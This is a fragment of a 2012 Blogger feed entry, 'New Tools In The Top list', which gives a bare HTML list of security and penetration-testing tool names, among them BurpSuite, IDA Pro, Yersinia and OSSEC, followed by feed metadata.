&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;BackTrack&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;P0f&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Google&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;WebScarab&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;WebInspect&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Core Impact&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;IDA Pro&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Rainbow Crack&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;AngryIP Scanner&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;RKHunter&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Ike-scan&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;KisMAC&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;OSSEC HIDS&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Tor&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Knoppix&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;chrootkit&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Yersinia&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Nagios&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;X-scan&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Socat&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;QualysGuard&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;ClamAV&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;BurpSuite&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Unicornscan&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;BASE&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Argus&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Wikto&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;SGuil&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;IP Filter&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Canvas&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;VMware&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;OpenVPN&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;OllyDbg&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Helix&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Acunetix Web Vulnerability Scanner&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;TrueCrypt&lt;/li&gt;
&lt;li style="font-family: inherit; font-style: inherit; list-style-type: disc; margin-bottom: 0px; margin-left: 18px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: inherit;"&gt;Watchfire AppScan&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-3196691222593819031?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/3196691222593819031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/new-tools-in-top-list.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/3196691222593819031?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/3196691222593819031?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/new-tools-in-top-list.html' title='New Tools In The Top list'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry></feed>